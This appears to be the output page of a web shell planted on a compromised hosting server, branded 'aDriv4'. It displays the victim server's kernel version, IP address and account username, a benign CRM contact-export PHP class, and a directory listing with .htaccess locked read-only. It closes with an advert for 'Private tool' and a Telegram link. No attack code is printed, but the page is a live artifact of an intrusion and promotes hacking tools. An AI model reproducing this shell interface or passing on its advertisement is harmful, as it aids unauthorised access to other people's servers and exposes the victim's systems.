aDriv4 website!

Linux server290.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
162.0.232.252

ContactCSVExport.php

<?php

namespace app\modules\exports\services;

use CI_DB_mysqli_driver;

class ContactCSVExport extends CSVExport
{
    private string $defaultDirection;

public function __construct(?string $fromDate, ?string $toDate)
    {
        parent::__construct($fromDate, $toDate, 'contacts');
        $this->defaultDirection = get_option('rtl_support_client') == 1 ? 'rtl' : 'ltr';
    }

private array $excludedFields = [
        'new_pass_key',
        'new_pass_key_requested',
        'email_verification_key',
        'email_verification_sent_at',
        'password',
        'last_password_change',
        'last_ip',
        'userid',
    ];

public function queryData(): CI_DB_mysqli_driver
    {
        $this->ci->db->select(prefixed_table_fields_array(db_prefix() . 'contacts', true, $this->excludedFields) . ',' . get_sql_select_client_company());
        $this->selectCustomFields(db_prefix() . 'contacts.id');
        $this->ci->db->join(db_prefix() . 'clients', db_prefix() . 'clients.userid = ' . db_prefix() . 'contacts.userid', 'left');
        $this->applyDateFilter(db_prefix() . 'contacts.datecreated');

return $this->ci->db->from(db_prefix() . 'contacts');
    }

protected function formatRow(string $name, $value, array $row)
    {
        switch ($name) {
            case 'profile_image':
                return $this->getProfileImageUrl($row['id'], $value);
            case 'direction':
                return $value ?: $this->defaultDirection;
            default:
                return parent::formatRow($name, $value, $row);
        }
    }

private function getProfileImageUrl(int $contactId, ?string $profileImage): ?string
    {
        if (!empty($profileImage)) {
            $path = 'uploads/client_profile_images/' . $contactId . '/small_' . $profileImage;

if (file_exists($path)) {
                return base_url($path);
            }
        }

return '';
    }
}

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	panaxpaw/panaxpaw	0755	2026-01-31 04:30:05
..	dir	-	panaxpaw/panaxpaw	0755	2026-01-31 04:30:05
.htaccess	text/plain	127 B	panaxpaw/panaxpaw	0444	2026-01-31 04:30:05
CSVExport.php	text/x-php	4.79 KB	panaxpaw/panaxpaw	0644	2022-05-09 04:59:46
ContactCSVExport.php	text/x-php	1.96 KB	panaxpaw/panaxpaw	0644	2022-05-09 04:59:46
CustomerCSVExport.php	text/x-php	2.59 KB	panaxpaw/panaxpaw	0644	2022-05-09 04:59:46
ExpenseCSVExport.php	text/x-php	5.38 KB	panaxpaw/panaxpaw	0644	2022-05-09 04:59:46
LeadCSVExport.php	text/x-php	3.24 KB	panaxpaw/panaxpaw	0644	2022-05-09 04:59:46
PaymentCSVExport.php	text/x-php	3.33 KB	panaxpaw/panaxpaw	0644	2022-05-09 04:59:46
index.html	text/html	142 B	panaxpaw/panaxpaw	0644	2022-05-09 04:59:46

For more Private tool come to me!

https://t.me/aDriv4vz